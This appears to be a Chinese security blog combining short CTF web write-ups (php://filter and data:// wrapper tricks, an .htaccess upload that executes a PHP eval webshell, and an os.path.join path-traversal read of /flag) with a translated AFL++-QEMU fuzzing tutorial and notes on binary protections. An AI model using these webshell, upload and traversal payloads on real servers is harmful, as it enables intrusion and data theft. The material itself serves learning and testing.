wubba lubba dub dub.
post @ 2023-07-23

题目链接

页面分析

进入页面显示hint is hear Can you find out the hint.php?

当前url为: http://node2.anna.nssctf.cn:28424/index.php?wllm=

php伪协议读取hint.php

根据页面提示尝试

1
?wllm=php://filter/convert.base64-encode/resource=hint.php

解码后得到

1
2
3
<?php
//go to /test2222222222222.php
?>

访问 http://node2.anna.nssctf.cn:28424/test2222222222222.php可以得到

1
2
3
4
5
6
7
8
9
10
 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ # a文件内容为'I want flag'时展示flag
echo "success\n";
echo $flag;
}
?>

data伪协议构造读取

1
/test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=   # base64('I want flag')

即可获取flag

Read More

原文链接:https://airbus-seclab.github.io/AFLplusplus-blogpost/

想象一下,你在一个没有源代码的二进制文件中发现了一个可能存在漏洞的函数。为了帮助你识别漏洞,你需要尽可能使用最相关的 AFL++ 配置进行模糊处理。然而,由于在实践中实现这样的工具并不容易,我们决定在一篇博客文章中总结我们的经验和方法,以帮助未来的工作。

这篇博文介绍了如何利用 AFL++-QEMU 的高级功能,在实际案例中逐步开始语法感知和内存中持续模糊测试。我们提供了所有脚本和数据(以及 ELF 目标),您可以在阅读本博文的同时自己进行实验。尽管我们鼓励您这样做,但这完全是可选的;您也可以只通过通读来欣赏这篇文章,我们希望您仍能从中学到东西!

二进制模糊:一些反复出现的问题

QEMU 是 AFL++ 支持的后端之一,用于处理纯二进制程序的插装。

在实践中,这意味着与源代码可用的目标相反,您不需要重新编译源代码来获得检测二进制文件。相反,AFL++ 会使用 QEMU 的补丁版用户模式仿真执行原始二进制文件,以收集覆盖信息。

注意事项:

  • 如果你想了解有关 QEMU 内部的更多信息,请务必查看本系列文章
  • 在本文中,我们只探讨 QEMU 后端。然而,这里详细描述的大多数概念应该适用于其他可用的AFL++ 后端

使用 QEMU 模式(使用 -Q 标志)执行 Fuzzing 的基本操作如下图所示:

图解命令行

使用 QEMU 模式,可以配置不同的方面来优化 Fuzzing 性能和覆盖范围。官方文档介绍了所有可用的功能。其中:

  • 插桩和覆盖率:
    • AFL_INST_LIBS
    • AFL_QEMU_INST_RANGES
  • 突变:
    • AFL_CUSTOM_MUTATOR_LIBRARY
    • AFL_CUSTOM_MUTATOR_ONLY
  • 变异:
    • AFL_ENTRYPOINT
    • AFL_QEMU_PERSISTENT_ADDR/ AFL_QEMU_PERSISTENT_ADDR_RET
    • AFL_QEMU_PERSISTENT_HOOK
    • AFL_DISABLE_TRIM
    • AFL_DEBUG/ AFL_DEBUG_CHILD

本文旨在介绍我们如何在实际案例中回答这些问题,从基本配置到针对目标进行优化的设置,这些都可以重复使用并应用于其他类似项目。

然而,从理论到实践有时显得枯燥乏味,而且经常会产生一些反复出现的问题,例如:

  • 我们希望插桩检测覆盖哪段代码?
  • Fuzzer 入口点的最佳选择是什么?
  • 移动入口点对测试用例的格式意味着什么?
  • 我们的工作如何从 AFL++ 中提供的高级功能中获益,以提高性能?

本文旨在介绍我们如何在实际案例中回答这些问题,从基本配置到针对目标进行优化的设置,并且这些都可以重复使用并应用于其他类似项目。

目标

弱 X509 解析器

我们选择的示例灵感来自于我们在安全评估期间遇到的现实生活中的目标(但由于显而易见的原因,无法重新分配)。它是一个二进制文件,需要一个文件名作为输入,并尝试将相应文件的内容解析为 X509 证书。

它只包含几个基本功能:

  • main:main 函数,该函数将文件作为输入并以该文件作为参数进行调用 parse_cert
  • parse_cert:调用 read_file 并将读取缓冲区作为参数提供给 parse_cert_buf
  • read_file:打开文件,读取并返回其内容;
  • parse_cert_buf:将缓冲区解析 openssl 为 C 库中的 X509 证书 d2i_X509,尝试获取 CN 并打印它。

此目标故意包含一个我们希望在 Fuzzing 活动期间触及的小漏洞:中的基于栈的缓冲区溢出 parse_cert_buf

1
2
3
4
5
6
7
8
9
10
11
int parse_cert_buf(const unsigned char *buf, size_t len) {
X509 *cert;
char cn[MAX_CN_SIZE];

cert = d2i_X509(NULL, &buf, len);
...
char *subj = X509_NAME_oneline(X509_get_subject_name(cert), NULL, 0);
strcpy(cn, subj); // Oops
printf("Got CN='%s' from certificate\n", cn);
...
}

此外,还特意在主程序开始时添加了一个虚拟 init 函数,以模拟初始化阶段,该阶段将花费时间并使目标缓慢启动。

探索目标

在现实生活中,目标显然不像我们的弱 X509 解析器那么简单。事实上,一个好的仅有二进制目标的模糊活动总是从逆向工程阶段开始:

  • 了解目标,它是如何工作的,它如何与环境交互等。
  • 确定要研究的有趣特征;
  • 找到可能被证明是好的模糊目标的函数;
  • 分析调用上下文、结构、用户控制的参数等。
  • 使用适当的参数和模糊化的输入构建一个工具或工具链来调用目标函数。
  • 生成初始语料库以启动 Fuzzer.

尽管有一些工具(如fuzzable)可以帮助完成其中的一些步骤,但它们通常仍然是模糊二进制目标的必需的、繁琐的和手动的部分。

由于我们的示例很简单,因此你应该不会花费太长时间来查找易受攻击的代码、调用跟踪和 To识别感兴趣的功能parse_cert_buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000000013d4 <parse_cert_buf>:
13d4: 55 push rbp
13d5: 48 89 e5 mov rbp,rsp
13d8: 53 push rbx
13d9: 48 83 ec 68 sub rsp,0x68
...
1473: 48 89 d6 mov rsi,rdx
1476: 48 89 c7 mov rdi,rax
1479: e8 92 fc ff ff call 1110 <strcpy@plt>
...
14d9: b8 00 00 00 00 mov eax,0x0
14de: 48 8b 5d f8 mov rbx,QWORD PTR [rbp-0x8]
14e2: c9 leave
14e3: c3 ret

注意: 你获得的地址可能会根据你的编译器、其版本、使用的选项等而改变。只要它们是一致的,就不用担心!

现在,最有趣的部分:模糊这个目标!为此,请关注本文的其余部分

语料

收集输入

在此之前,我们需要收集样本输入文件来构建语料库。事实上,这些AFL++ 文档指出:

要正确操作,Fuzzer 需要一个或多个启动文件
包含目标通常期望的输入数据的良好示例

在我们的例子中,由于目标解析证书,我们只需使用 OpenSSL 生成一个证书:

1
$ openssl req -nodes -new -x509 -keyout key.pem -out cert.pem

为了使事情更简单,我们已经在corpus文件夹中提供了一个。

预处理语料库

在使用这个语料库之前,我们可以:

  1. 仅保留导致不同执行路径的输入样本(使用 afl-cmin);
  2. 最小化每个输入样本以保留其独特的执行路径,同时使其大小尽可能小(使用 afl-tmin)。这将使未来的突变更加有效。

我们将这两个步骤合并到一个build_corpus.sh脚本中。

现在,假设你按照中 README.md 的步骤构建了 AFL++,你可以继续从 step0 目录中运行 build_corpus.sh。这将完成语料库最小化步骤,并为下一步做好准备。

我们现在应该具备真实的运行 AFL++ 的所有先决条件。我们将在下一步深入,所以继续跟上!

仪器仪表

AFL++ 是一个“覆盖率引导”的模糊测试工具,这意味着变异策略要分析先前执行的代码覆盖,以生成新的输入。为了构建覆盖信息,AFL++-QEMU 需要知道已经到达了哪些基本块。这是通过检测每个基本块以在其被击中时进行跟踪来实现的。

默认设置(step0

默认情况下,通过启动 AFL++-QEMU(如中所示step0),目标的所有基本块可以对其进行插装,并且插装中包含共享库。

注意这个 exec speed 指标:你可以关注它是如何随着我们帖子的每一步发展的。

插桩调整(step1

对于研究目标来说,改变这种默认的插桩行为是很有趣的。原因可能包括:

  • 你对覆盖由主二进制文件导入的库中所有可能的路径感兴趣
  • 你想要排除已测试安全性的库的特定部分
  • 检测完整的大型二进制文件会降低执行速度

要查看指令插入的范围,可使用以下选项:

  • AFL_INST_LIBS;
  • AFL_QEMU_INST_RANGES;
  • AFL_CODE_START;
  • AFL_CODE_END

在我们的示例中,虽然它对仪器 parse_cert_buf 至关重要,但它与仪器 main和共享库(例如 libssl.so)的关系不大。为了对此进行配置,我们将工具仅限于感兴趣的函数。这是通过设置 AFL_QEMU_INST_RANGES(请参阅step1)来完成的:

  • parse_cert_buf 第一条指令的地址开始
  • parse_cert_buf 最后一条指令的地址结束

注意:,在我们的例子中也可以使用 AFL_CODE_STARTAFL_CODE_END 来完成。但是, AFL_QEMU_INST_RANGES 更灵活,因为它允许指定多个要检测的范围,因此我们更喜欢使用此环境变量。

这些地址可以手动确定,也可以从 objdump 输出中推断出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# The base address at which QEMU loads our binary depends on the target
# See https://github.com/AFLplusplus/AFLplusplus/blob/stable/qemu_mode/README.persistent.md#21-the-start-address
case $(file "$target_path") in
*"statically linked"*)
QEMU_BASE_ADDRESS=0
;;
*"32-bit"*)
QEMU_BASE_ADDRESS=0x40000000
;;
*"64-bit"*)
QEMU_BASE_ADDRESS=0x4000000000
;;
*) echo "Failed to guess QEMU_BASE_ADDRESS"; exit 1
esac

# We use objdump to parse our target binary and obtain the address and size of a given function
function find_func() {
objdump -t "$target_path" | awk -n /"$1"'$/{print "0x"$1, "0x"$5}'
}

# Some environment variables for AFL++ must be hex encoded
function hex_encode() {
printf "0x%x" "$1"
}

read fuzz_func_addr fuzz_func_size < <(find_func "parse_cert_buf")
inst_start=$(hex_encode $(("$QEMU_BASE_ADDRESS" + "$fuzz_func_addr")))
inst_end=$(hex_encode $(("$inst_start" + "$fuzz_func_size")))
export AFL_QEMU_INST_RANGES="$inst_start-$inst_end"
1
2
$ find_func "parse_cert_buf"
0x00000000000013d4 0x0000000000000110

通过启用 AFL++-QEMU 的调试模式(AFL_DEBUG),我们可以检查插桩范围符合我们的要求

1
Instrument range: 0x40000013d4-0x40000014e4 (<noname>)

从现在开始我们的目标是仅对感兴趣的部分进行检测,并准备进行Fuzz

入口点

概念和默认行为

当模糊化时,AFL++ 运行目标,直到到达特定地址(AFL 入口点),然后从那里为每个迭代分叉。默认情况下,AFL 入口点设置为目标的入口点(在我们的示例 target 中为 _start 函数)。

实际上,在默认配置中,AFL++ 会打印以下消息:

1
2
3
# from the step0 directory
$ AFL_DEBUG=1 ./fuzz.sh | grep entrypoint
AFL forkserver entrypoint: 0x40000011a0

反汇编 target objdump 确认入口点设置为 _start 函数的地址:

1
2
3
4
5
6
7
8
9
# from the step0 directory
$ objdump -d --start-address=0x11a0 ../src/target | head -n20
00000000000011a0 <_start>:
11a0: 31 ed xor ebp,ebp
11a2: 49 89 d1 mov r9,rdx
...
11b4: 48 8d 3d fa 03 00 00 lea rdi,[rip+0x3fa] # 15b5 <main>
11bb: ff 15 1f 2e 00 00 call QWORD PTR [rip+0x2e1f] # 3fe0 <__libc_start_main@GLIBC_2.34>
...

使用此配置,每次迭代都会运行整个目标。

定位选择(step2

在某些情况下(如我们的示例),程序的初始化阶段可能需要一些时间。因为每次迭代都要执行初始化,所以对fuzz速度有直接影响。这正是 AFL_ENTRYPOINT 变量所要处理的情况。

实际上, AFL_ENTRYPOINT 可以设置为相关的自定义值,该值将:

  • 只运行一次初始化阶段,直到到达该 AFL_ENTRYPOINT 地址。
  • 将目标停止在, AFL_ENTRYPOINT 并与fuzzer同步;
  • 让 fuzzer 对目标的状态进行快照,然后在 AFL_ENTRYPOINT 地址之后继续执行。

这样,在 fork 服务器运行所有迭代之前,初始化阶段只运行一次,并且 fuzzing 被加速。

在我们的示例中,的 AFL_ENTRYPOINT 定位选择非常简单,因为:

  • init 代码不需要模糊化;
  • init 阶段每次都是执行同样内容;
  • 与模糊相关的函数已经确定(parse_cert)。

因此,我们可以将 AFL_ENTRYPOINT 设置为 parse_cert 函数的开头(请参阅step2):

1
2
3
4
# Define a custom AFL++ entrypoint executed later than the default (the binary's
# entrypoint)
read fuzz_func_addr fuzz_func_size < <(find_func "parse_cert")
export AFL_ENTRYPOINT=$(hex_encode $(("$QEMU_BASE_ADDRESS" + "$fuzz_func_addr")))

在此配置中,AFL++ 打印以下消息:

1
2
$ AFL_DEBUG=1 ./fuzz.sh | grep entrypoint
AFL forkserver entrypoint: 0x40000014e4

我们可以通过反汇编 target 来确认这是的地址 parse_cert

1
2
3
4
5
$ objdump -d --start-address=0x14e4 ../src/target | head -n10
00000000000014e4 <parse_cert>:
14e4: 55 push rbp
14e5: 48 89 e5 mov rbp,rsp
14e8: 48 83 ec 20 sub rsp,0x20

对性能的影响

运行 Fuzzer 让我们看到调整 AFL_ENTRYPOINT 的优势:

  • 使用默认设置 AFL_ENTRYPOINT

    1
    exec speed : 18.24/sec (zzzz...)
  • 调整 AFL_ENTRYPOINT 后(为了跳过 init 相位):

    1
    exec speed : 1038/sec

这说明AFL_ENTRYPOINT 选择对于模糊器可以执行的每秒测试数量的最大化至关重要

在下一节中,我们将看到性能仍然可以通过利用另一个 AFL++ 特性来进一步提高:持续模式。

持续

持续模式(step3

环境变量

“持续模式”是允许 AFL++ 避免每个迭代都调用 fork 的特性。相反,它在到达某个地址(AFL_QEMU_PERSISTENT_ADDR)时保存子节点的状态,并在到达另一个地址( AFL_QEMU_PERSISTENT_RET)时恢复此状态。

注意: 除了 AFL_QEMU_PERSISTENT_RETAFL_QEMU_PERSISTENT_RETADDR_OFFSET 也可以使用。如果没有设置这些值,AFL++ 将在到达第一个 ret 指令时停止(仅当 AFL_QEMU_PERSISTENT_ADDR 指向函数的开始时,否则你将必须手动设置该值)。

“恢复”状态可以指“恢复寄存器”( AFL_QEMU_PERSISTENT_GPR)和/或“恢复内存”( AFL_QEMU_PERSISTENT_MEM)。由于恢复内存状态的开销很高,因此只应在必要时进行。在进行模糊处理时,请注意稳定性,以查看是否有必要启用此功能。

即使在使用持续模式时,AFL++ 仍将不时调用 fork(每AFL_QEMU_PERSISTENT_CNT 次迭代,或默认情况下为 1000 次)。如果稳定性足够高,增加此值可能会提高性能(最大值为 10000)。

应用于我们的示例

在我们的例子中,我们可以通过设置 AFL_QEMU_PERSISTENT_ADDRAFL_ENTRYPOINTparse_cert 函数的地址)相同的值来开始。这样,AFL++ 将把我们的进程恢复到它读取输入文件内容之前的状态。

以下是相关章节 afl_config.sh

1
2
3
4
read fuzz_func_addr fuzz_func_size < <(find_func "parse_cert")
export AFL_QEMU_PERSISTENT_ADDR=$(hex_encode $(("$QEMU_BASE_ADDRESS" + "$fuzz_func_addr")))
export AFL_QEMU_PERSISTENT_GPR=1
export AFL_QEMU_PERSISTENT_CNT=10000

在我们的示例中,稳定性保持在 100%,而不必恢复内存状态,因此我们只设置 AFL_QEMU_PERSISTENT_GPR。我们也增加 AFL_QEMU_PERSISTENT_CNT 到它的最大值,因为这不会对我们的稳定性产生负面影响。

step3 文件夹提供的文件直接对此进行测试。你还可以自己确认,AFL++ 文档中描述的性能提升确实存在:根据我们的测试,我们每秒的迭代次数增加了 10 倍以上!

内存中模糊处理(step4

尽管使用了持续模式,但在到达测试函数之前,我们的目标仍会执行一些不必要的操作,特别是打开和读取由 fuzzer 生成的文件的内容。相反,我们可以使用“内存中模糊处理”来跳过这一步,直接从模糊器的内存中读取输入。

钩子

要做到这一点,我们必须实施“挂钩”。它实际上非常简单,其源代码提供在这个文件

  • 我们定义了一个 afl_persistent_hook_init 函数,它声明我们是否要使用内存中的模糊处理。
  • 更有趣的是,我们定义了一个 afl_persistent_hook 函数,它可以在每次迭代时覆盖寄存器值和内存,就在 AFL_QEMU_PERSISTENT_ADDR 到达地址之前。我们所要做的就是覆盖包含要解析的缓冲区的内存,并在正确的寄存器中设置其长度。

注意: 你可以通过在目标函数的开头运行 gdb 和中断,或者直接通过查看反汇编代码来确定要使用哪些寄存器。

这个钩子应该被编译为一个共享库,AFL++ 将在运行时加载。

环境变量

要指示 AFL++ 使用我们的钩子,我们只需设置 AFL_QEMU_PERSISTENT_HOOK 文件的 .so 路径:

1
export AFL_QEMU_PERSISTENT_HOOK="$BASEPATH/src/hook/libhook.so"

正如所讨论的,我们希望更改 AFL_QEMU_PERSISTENT_ADDR 为在迭代期间跳过对 read_file 的调用。这里有两个选项:

  • 要么我们把它设置在 base64_decode 起始地址。在这种情况下,我们也将模糊化 base64_decode 函数。

  • 或者我们把它设置在 parse_cert_buf。在这种情况下 base64_decode,将不会模糊化。

    因为 base64_decode 是由一个受信任的外部库实现的,我们不想测试它(在本例中是 OpenSSL),所以我们将选择第二个选项。

因此,我们可以将 AFL_QEMU_PERSISTENT_ADDR 移动到以下地址 parse_cert_buf

1
2
read fuzz_func_addr fuzz_func_size < <(find_func "parse_cert_buf")
export AFL_QEMU_PERSISTENT_ADDR=$(hex_encode $(("$QEMU_BASE_ADDRESS" + "$fuzz_func_addr")))

输入格式

移动 AFL_QEMU_PERSISTENT_ADDR 对我们的语料库有影响。实际上,由 fuzzer 生成的缓冲区现在直接在中 parse_cert_buf 使用(从未传递给 base64_decode)。这意味着我们必须重建我们的语料库。在我们的例子中,这非常简单:我们只需要从以前的语料库中解码 Base64 文件,并将它们保存为原始二进制文件。

应用于我们的示例

这种方法的一个奇怪之处在于,因为我们不再从文件中读取数据,所以 fuzzer 不再需要在磁盘上创建一个文件。但是,请记住,我们的目标程序期望从其中读取,否则它将立即退出。由于该文件的内容不再相关(因为 read_file 不再调用),我们可以在调用程序之前手动创建一个空的占位符。

你可以在中step4 文件夹找到此新设置。

对性能的影响

总的来说,在我们的测试中,启用持续模式可以将性能提高 10 倍(但在实际场景中不要总是期望有这样的提升!),而内存中的钩子可以产生额外的双重改进:

1
exec speed : 25.6k/sec

注意: 由于执行速度并不是唯一重要的指标,你当然应该关注其他指标,如稳定性、新发现的路径、覆盖率等。

语法感知器(step5

动机

回顾一下我们迄今所取得的成就:

  • 我们将 AFL++ 设置为使用 QEMU 来模糊仅二进制目标。
  • 我们将工具配置为仅覆盖相关地址;
  • 我们调整了 AFL++ 入口点,并启用了持续模式以减少初始化时间。

在许多情况下,这样的配置(当与我们稍后将简要介绍的多处理相结合时)足以运行成功的活动。但是,在本例中,我们决定模糊处理高度结构化数据格式的目标。在这种情况下,引入改变输入数据的新方法可能是有趣的。

事实上,AFL++ 的另一个可调方面是生成和突变逻辑。AFL++ 内置了对一组简单(但非常有效)的突变的支持:

  • 随机比特翻转
  • 随机字节翻转
  • 运算
  • 等等

在大多数情况下,这些突变足以探索模糊的代码。某些数据格式具有内部约束,这些约束将导致样本因不满足这些约束而被过早拒绝。例如,我们的示例中使用的格式 ASN.1 就是这种情况:在不考虑这些约束的情况下生成突变可能会导致大多数样本被目标立即视为无效而丢弃,而不会实现任何额外的覆盖。这意味着 Fuzzing Campaign 汇聚前需要时间生成相关案例。

为了解决这种情况,AFL++ 允许用户提供他们自己的自定义变异体,以引导 Fuzzer 生成更适合的输入。如官方文档中所述,AFL++可插入自定义 Mutator ,只要此Mutator实现了所需的 API 函数。

实施

有几个选项可以在 AFL++ 中实现语法感知的转变器,其中之一是AFL++ 项目的语法变异器部分。然而,由于它不提供对 ASN.1 的支持,我们转而依赖于libprotobuf处理 ASN.1

我们从官方文档中获得了灵感,并在 AFL++现有骨架 和我们的自定义 Mutator 之间建立了“粘合剂”。

结果存在于中custom_mutator.cpp,并实现来自 AFL++API 的以下函数:

  • afl_custom_init: 初始化我们自定义的 mutator
  • afl_custom_fuzz: 用protobuf mutator 对输入进行变异
  • afl_custom_post_process 对变异数据执行后处理,以确保我们的目标接收到正确格式化的输入
  • afl_custom_deinit 清理所有东西

输入格式

实际上,该 afl_custom_post_process 函数起着重要的作用:我们的自定义 mutator 基于 libprotobuf,因此需要 protobuf 数据作为输入。然而,我们的目标只能解析 ASN.1 数据,因此我们需要将数据从 Protobuf 转换为 ASN.1. 幸运的是,protobuf mutator 已经在中 x509_certificate::X509CertificateToDER 实现了此功能。

整个过程概述如下:

PROTOBUF 到 ASN1

和以前一样,我们需要调整语料库中文件的格式,以与我们的 Fuzzing 工具保持一致。这一次,我们需要将 ASN.1 DER 文件转换为 Protobuf.为此,我们实现了一个自定义脚本(protobuf.py 的 ASN1),该脚本在此步骤build_corpus.sh中运行一次。

环境变量

有了这个,剩下的就是指示 AFL++ 使用我们的自定义 Mutator.为此,我们只需设置 AFL_CUSTOM_MUTATOR_LIBRARY 文件的 .so 路径:

1
export AFL_CUSTOM_MUTATOR_LIBRARY="$BASEPATH/libmutator.so"

我们还禁用 AFL++ 执行的所有默认突变和修剪:

1
2
export AFL_DISABLE_TRIM=1
export AFL_CUSTOM_MUTATOR_ONLY=1

应用于我们的示例

你可以在step5 文件夹中找到此新设置。

影响

这一次,它不是为了提高性能,而是为了达到更深的路径。在我们的例子中,这是一个非常小的目标,很难衡量这种影响。但是,这通常是通过比较覆盖率并检查是否使用自定义赋值函数到达新分支来完成的。

但是,你不需要在使用自定义 Mutator 和使用默认的 AFL++ 突变之间进行选择:你可以通过运行 Fuzzer 的多个实例来实现两全其美,我们将在下一步中讨论这一点。

多处理(step6

这一步是我们把所有的东西放在一起来运行我们实际的模糊运动。事实上,在真正的活动中,你不会限制自己只在一个核心/线程/机器上进行模糊测试。幸运的是,AFL++ 处理并行运行多个实例。

但是,如文档中所述,一次运行太多实例并不总是有用的:

在同一台机器上 由于 AFL++ 的设计,有一个有用的 CPU 核心/线程的最大数量,使用更多和整体性能反而会下降。此值取决于目标和限制在每台机器 32 到 64 个核心之间

需要注意的是,即使在达到该限制之前,性能的提高也不是成比例的(内核数量加倍并不会使每秒执行次数加倍):同步进程需要额外的开销。

不同的配置、变量、时间表

当运行 Fuzzer 的多个实例时,可以通过并行使用各种策略和配置来优化覆盖率。因为我们的目的不是反映官方的 AFL++ 文档,我们将参考你的文档,这一节该文档描述了如何在 Fuzzing 时使用多个内核。

然而,由于该页面主要针对源代码可用的 Fuzzing 目标,因此需要对某些方面进行调整,以便只进行二进制 Fuzzing.

仅限二进制的特性

当对源代码可用的目标进行模糊处理时,许多功能(例如 ASAN、UBSAN、CFISAN、COMPCOV)需要使用特定选项重新编译目标。尽管在处理二进制目标时不能选择重新编译,但其中一些特性在 QEMU 中仍然可用(如文档所述here)。

例如, AFL_USE_QASAN 允许使用 LD_PRELOAD 自动注入库来使用使用 QEMU 的 ASAN。类似地, AFL_COMPCOV_LEVEL 允许使用带有 QEMU 的 CompCov,而无需重新编译目标。

多设备设置

对于较大的 Fuzzing 活动,你可以使用多个主机,每个主机运行多个 Fuzzer 进程。此设置实际上相当简单,并且在中官方文档有详细介绍。为了简单和可重复性,我们没有在这篇文章中使用多台机器。

应用于我们的示例

从这篇博文开始,输入格式和目标函数就发生了变化。你可以在下表中找到这些更改的摘要:

Configuration Targeted function 预期的输入格式
Default entrypoint main() base64(ASN.1)
Custom entrypoint main() base64(ASN.1)
In-memory fuzzing parse_cert_buf() ASN.1/ DER
Custom mutator parse_cert_buf() protobuf -> ASN.1

在这一步中,我们运行了一个带有自定义赋值函数的实例,以及几个没有该赋值函数的实例。因此,我们需要 ASN.1( corpus_unique)中的一个语料库和 protobuf( corpus_protobuf_unique)中的一个语料库,以及单独的输出目录。

step6 文件夹提供了这种多语料库设置的示例。请注意,与其他步骤相反,最有趣的更改是在 fuzz.sh 文件中,而不是在中 afl_config.sh

评估活动

在开始一项活动后,你可能需要对其进行监控,评估其效率,并调查其结果。这超出了这篇文章的范围,并正式文件给出了各种细节,我们不打算在这里重复。然而,为了给你一个概念,我们将快速浏览其中的一些问题。

监视活动

AFL++ 提供以下工具来监控运行实例的状态:

  • afl-whatsup,显示在后台运行的 Fuzzer 实例的状态:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ afl-whatsup -s output
Summary stats
=============
Fuzzers alive : 4
Total run time : 4 minutes, 0 seconds
Total execs : 1 millions, 849 thousands
Cumulative speed : 30829 execs/sec
Average speed : 7707 execs/sec
Pending items : 0 faves, 0 total
Pending per fuzzer : 0 faves, 0 total (on average)
Crashes saved : 3
Cycles without finds : 204/26/1066/264
Time without finds : 1 minutes, 26 seconds
  • afl-plot,它可以绘制特定实例的指标随时间的演变:
1
$ afl-plot output/afl-main /tmp/plot

AFL-PLOT 输出示例

测量覆盖率

检查覆盖范围是另一回事,对于只有二进制的目标有各种特殊性。这超出了这篇文章的范围,但你可以找到有趣的资源在官方文件中

OURStep6 文件夹上下文中的典型命令如下:

1
$ afl-showmap -Q -C -i "$output_path"/afl-main/queue -o afl-main.cov -- "$target_path" /tmp/.afl_fake_input

检查崩溃和超时

一旦 AFL++ 识别出崩溃或挂起,它将把触发它的输入保存在输出目录中的专用文件夹中,以便你可以重现它。

理解这些结果的有用工具可以是:

  • afl-tmin 以获得再现崩溃的最小测试用例
  • Lighthouse探索特定案例的覆盖范围
  • Valgrind调查内存问题
  • 可能还有更多!

此外,对于自定义 Mutator 发现的情况,输入将采用 Protobuf 格式,这不容易直接在目标上重放。为此,我们实现了一个简单的程序,它允许将 protobuf 转换回 ASN.1(请参阅protobuf_to_der.CPP

到目前为止我们所做的

在这篇文章中,我们的目标是强调我们的方法,解释 AFL++ 的概念,并为 Fuzz 二进制目标提供一个框架。这导致我们根据我们的目标和我们自己的经验做出选择,这在其他情况下可能并不相关。特别地,其他语法变异体可能更容易实现(例如语法变异器,如果它支持正确的语法)。

然而,通过配置内存中的持续性、调整定制的语法感知突变以及实现多处理,我们实现了以有趣的执行速度和覆盖范围运行 Fuzzing 活动。

显然,这只是故事的开始:运行 Fuzzing 活动本身和分析结果都有自己的一套新问题和乐趣!

参考书目

工具

文件

Read More
post @ 2023-07-17

题目链接

  • apache服务器,标题提示“试试和某些文件配合呢”,尝试上传.htacess 文件,内容:
1
2
3
<FilesMatch "1.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>

上传成功

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

相当于设定规则,把1.jpg当作php代码解析

  • 上传1.jpg

    内容为一句话木马:<?php @eval($_POST['cmd']);?>

  • 访问 /upload/1.jpg POST cmd=phpinfo(); 搜索flag即可看到

Read More
post @ 2023-07-17

题目链接

查看源码

发现 <!-- /source -->

访问下载得到python源代码

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

代码逻辑:

  1. 上传的文件名如果包含 “.”,则报错
  2. 上传成功的文件会存入uploads 文件夹中并生成一个uuid在file路径下
  3. 访问file/<id> 时找到对应文件名,然后拼接成 uploads/filename ,读取文件内容

分析

os.path.join() 函数存在绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

exp

上传任意文件 然后抓包将文件名改为 “/flag”,进行路径拼接时uploads/被删去,只剩下”/flag”;跳转到 "/file/<uuid>" 即可查看flag

Read More

二进制程序各保护机制

1
2
3
4
5
6
7
checksec bin 
[*] '/usr/ctf/pwn/tests/bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

CANARY

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

编译时可以控制栈保护程度

1
2
3
gcc -fno-stack-protector -o test test.c  //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

NX

NX即No-eXecute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

总的说就是开了栈上就不可执行代码,没开就可以

gcc编译器默认开启NX,关闭选项:

1
gcc test.c -z execstack -o test 

RELRO

